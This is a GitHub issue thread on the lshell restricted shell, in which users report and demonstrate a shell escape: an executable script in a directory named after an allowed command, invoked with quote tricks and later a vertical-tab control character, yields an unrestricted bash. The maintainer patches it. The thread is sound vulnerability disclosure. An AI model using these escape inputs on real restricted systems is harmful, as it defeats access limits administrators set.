ghantoos / lshell

lshell is a shell coded in Python, that lets you restrict a user's environment to limited sets of commands, choose to enable/disable any command over SSH (e.g. SCP, SFTP, rsync, etc.), log user's commands, implement timing restriction, and more.
GNU General Public License v3.0
435 stars 112 forks source link

SECURITY ISSUE: Shell escape possible #148

Closed Snawoot closed 8 years ago

Snawoot commented 8 years ago

Shell escape possible if user can create executable files in allowed dirs:

vladislav@dt1:~$ su - testuser
Password: 
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
testuser:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
testuser:~$ echo'/1.sh'
testuser@dt1:~$ cat echo/1.sh 
#!/bin/bash

/bin/bash
testuser@dt1:~$ 
ghantoos commented 8 years ago

Hi @Snawoot!

Thanks for reporting these major security issues. I am unfortunately away from my PC until tomorrow night. I'll do my best to work on this asap.

I also saw your Debian bug reports, as I am the Debian maintainer for lshell.

Cheers!

ghantoos commented 8 years ago

Are you able to reproduce this with the latest version of lshell? Unless the administrator specifically allows a script to bypass the 'noexec', this script should not execute crrectly:

You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
ghantoos:~$ cat echo/1.sh 
#!/bin/bash

/bin/bash

ghantoos:~$ echo'/1.sh'
/bin/sh: 1: echo/1.sh: Permission denied
Snawoot commented 8 years ago

Yes, I able. Version e72dfcd1:

vladislav@dt1:~$ lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
vladislav:~$ echo'/1.sh'
/bin/sh: 1: echo/1.sh: not found
vladislav:~$ ls echo
vladislav:~$ echo'/1.sh'
/bin/sh: 1: echo/1.sh: Permission denied
vladislav:~$ 
vladislav@dt1:~$ lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
vladislav:~$ ls -l echo/1.sh 
-rwxrwxr-x 1 vladislav vladislav 18 Авг 22 10:04 echo/1.sh
vladislav:~$ echo'/1.sh'
vladislav@dt1:~$ ps
  PID TTY          TIME CMD
10403 pts/13   00:00:00 bash
10458 pts/13   00:00:00 lshell
10463 pts/13   00:00:00 sh
10464 pts/13   00:00:00 1.sh
10465 pts/13   00:00:00 bash
10476 pts/13   00:00:00 ps
vladislav@dt1:~$ 

Script file needs to be created with x permission.

omega8cc commented 8 years ago

I can confirm this, too, with latest dev version:

o1.ftp:~$ echo'/1.sh'
o1.ftp@quad:~$ ps axf
  PID TTY      STAT   TIME COMMAND
21444 pts/0    S+     0:00 login
21487 pts/1    Ss     0:00  \_ /bin/bash -login
26733 pts/1    S      0:00      \_ su - o1.ftp
26734 pts/1    S      0:00          \_ /usr/bin/python /usr/bin/lshell
 6192 pts/1    S      0:00              \_ /bin/dash -c set -m; echo'/1.sh'
 6214 pts/1    S      0:00                  \_ /bin/bash echo/1.sh
 6218 pts/1    S      0:00                      \_ /bin/bash
20371 pts/1    R+     0:00                          \_ ps axf
omega8cc commented 8 years ago

Also, you can use any allowed command as a directory name. Example:

o1.ftp:~$ tar'/1.sh'
o1.ftp@quad:~$ ps axf
  PID TTY      STAT   TIME COMMAND
21444 pts/0    S+     0:00 login
21487 pts/1    Ss     0:00  \_ /bin/bash -login
 3938 pts/1    S      0:00      \_ su - o1.ftp
 3939 pts/1    S      0:00          \_ /usr/bin/python /usr/bin/lshell
30383 pts/1    S      0:00              \_ /bin/dash -c set -m; tar'/1.sh'
30388 pts/1    S      0:00                  \_ /bin/bash tar/1.sh
30389 pts/1    S      0:00                      \_ /bin/bash
30502 pts/1    R+     0:00                          \_ ps axf
ghantoos commented 8 years ago

Confirmed, my script was indeed missing +x.

ghantoos commented 8 years ago

@Snawoot @omega8cc I have committed a new patch/branch, could you test it and confirm that it corrects this bug?

Thanks!! :)

omega8cc commented 8 years ago

The fix works fine for me, thanks!

o1.ftp:~$ echo'/1.sh'
*** forbidden command -> "echo'/1.sh'"
*** You have 1 warning(s) left, before getting logged out.
This incident has been reported.
Snawoot commented 8 years ago

NOT confirming fix:

vladislav@dt1:~$ lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
vladislav:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
vladislav:~$ echo^Khohoho/1.sh
vladislav@dt1:~$ cat echo^Khohoho/1.sh 
#!/bin/bash

bash
vladislav@dt1:~$ ps -f
UID        PID  PPID  C STIME TTY          TIME CMD
vladisl+ 19562 17335  0 00:53 pts/15   00:00:00 bash
vladisl+ 20263 19562  0 01:37 pts/15   00:00:00 /usr/bin/python /usr/bin/lshell
vladisl+ 20318 20263  0 01:39 pts/15   00:00:00 /bin/sh -c echo?() bash && LD_PRELOAD=/usr/lib/sudo/sudo_noexec.so echo
vladisl+ 20319 20318  0 01:39 pts/15   00:00:00 bash
vladisl+ 20819 20319  0 02:00 pts/15   00:00:00 /usr/bin/python /usr/bin/lshell
vladisl+ 20823 20819  0 02:00 pts/15   00:00:00 /bin/sh -c echo?hohoho/1.sh
vladisl+ 20824 20823  0 02:00 pts/15   00:00:00 /bin/bash echo?hohoho/1.sh
vladisl+ 20825 20824  0 02:00 pts/15   00:00:00 bash
vladisl+ 20842 20825  0 02:01 pts/15   00:00:00 ps -f

Where ^K is a vertical tabulation symbol, inserted by <CTRL+V><CTRL+K> keyboard sequence.

omega8cc commented 8 years ago

Yeah, the problem clearly can't be solved by simple filtering tricks :/

ghantoos commented 8 years ago

@Snawoot @omega8cc I have just committed a patch to detect all control characters. Could you confirm that this does correct the faulty behavior? See a686f71732a3d0f16df52ef46ab8a49ee0083c68.

omega8cc commented 8 years ago

@ghantoos -- I can confirm that https://github.com/ghantoos/lshell/commit/a686f71732a3d0f16df52ef46ab8a49ee0083c68 properly detects control characters.

That said, I would really prefer that we could use a true deny/allow logic (effectively):

deny all allow a b c d

instead of trying to blacklist new, creative methods which can be used to escape lshell, like:

deny foo bar ctrl what else allow a b c d